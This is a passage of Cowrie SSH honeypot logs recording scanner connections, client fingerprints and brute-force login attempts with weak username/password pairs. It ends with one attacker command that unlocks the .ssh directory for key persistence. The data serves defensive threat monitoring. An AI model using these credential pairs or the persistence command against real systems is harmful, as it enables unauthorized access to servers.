sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:44.749576Z","src_ip":"2.57.122.208","session":"b8661b59728f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:45.126758Z","src_ip":"2.57.122.208","session":"b8661b59728f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:46.255686Z","src_ip":"2.57.122.208","session":"b8661b59728f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":44284,"dst_ip":"10.17.0.5","dst_port":22,"session":"360e9a8a4839","protocol":"ssh","message":"New connection: 13.71.92.229:44284 (10.17.0.5:22) [session: 360e9a8a4839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:51.108741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:51.112336Z","src_ip":"13.71.92.229","session":"360e9a8a4839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:51.317994Z","src_ip":"13.71.92.229","session":"360e9a8a4839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ann","password":"ann123!","message":"login attempt [ann/ann123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:52.185429Z","src_ip":"13.71.92.229","session":"360e9a8a4839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:11:53.474629Z","src_ip":"13.71.92.229","session":"360e9a8a4839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53082,"dst_ip":"159.203.135.109","dst_port":22,"session":"710d777dce3d","protocol":"ssh","message":"New connection: 2.57.122.210:53082 (159.203.135.109:22) [session: 710d777dce3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:33.379145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:33.383378Z","src_ip":"2.57.122.210","session":"710d777dce3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:33.491915Z","src_ip":"2.57.122.210","session":"710d777dce3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1","message":"login attempt [solana/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:33.802361Z","src_ip":"2.57.122.210","session":"710d777dce3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:34.908717Z","src_ip":"2.57.122.210","session":"710d777dce3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.186.60.250","src_port":57878,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0e78ef3d32","protocol":"ssh","message":"New connection: 203.186.60.250:57878 (159.203.135.109:22) [session: 2f0e78ef3d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:45.217869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:45.221447Z","src_ip":"203.186.60.250","session":"2f0e78ef3d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:45.440917Z","src_ip":"203.186.60.250","session":"2f0e78ef3d32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:12:46.097742Z","src_ip":"203.186.60.250","session":"2f0e78ef3d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44038,"dst_ip":"10.17.0.5","dst_port":22,"session":"38732ea679e3","protocol":"ssh","message":"New connection: 2.57.122.208:44038 (10.17.0.5:22) [session: 38732ea679e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:51.980272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:51.985001Z","src_ip":"2.57.122.208","session":"38732ea679e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:52.086599Z","src_ip":"2.57.122.208","session":"38732ea679e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:52.553547Z","src_ip":"2.57.122.208","session":"38732ea679e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:53.745559Z","src_ip":"2.57.122.208","session":"38732ea679e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":52018,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffdfcfcc30cc","protocol":"ssh","message":"New connection: 13.71.92.229:52018 (10.17.0.5:22) [session: ffdfcfcc30cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:58.959630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:58.963589Z","src_ip":"13.71.92.229","session":"ffdfcfcc30cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:13:59.174010Z","src_ip":"13.71.92.229","session":"ffdfcfcc30cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"Mc123!","message":"login attempt [mc/Mc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:00.013454Z","src_ip":"13.71.92.229","session":"ffdfcfcc30cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:01.245950Z","src_ip":"13.71.92.229","session":"ffdfcfcc30cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":55776,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c484bdec18","protocol":"ssh","message":"New connection: 2.57.122.210:55776 (159.203.135.109:22) [session: e7c484bdec18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:43.395066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:43.399159Z","src_ip":"2.57.122.210","session":"e7c484bdec18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:43.497955Z","src_ip":"2.57.122.210","session":"e7c484bdec18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:43.796124Z","src_ip":"2.57.122.210","session":"e7c484bdec18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:14:44.896668Z","src_ip":"2.57.122.210","session":"e7c484bdec18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57920,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d2b72c18616","protocol":"ssh","message":"New connection: 2.57.122.208:57920 (10.17.0.5:22) [session: 6d2b72c18616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:06.101946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:06.198939Z","src_ip":"2.57.122.208","session":"6d2b72c18616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:06.301634Z","src_ip":"2.57.122.208","session":"6d2b72c18616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:06.900108Z","src_ip":"2.57.122.208","session":"6d2b72c18616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:08.010929Z","src_ip":"2.57.122.208","session":"6d2b72c18616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":59756,"dst_ip":"10.17.0.5","dst_port":22,"session":"c22a0db7e5ca","protocol":"ssh","message":"New connection: 13.71.92.229:59756 (10.17.0.5:22) [session: c22a0db7e5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:11.423443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:11.427423Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:11.640456Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2024","message":"login attempt [root/admin@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:12.517611Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:12.975601Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:12.978467Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:12.981905Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:13.192851Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
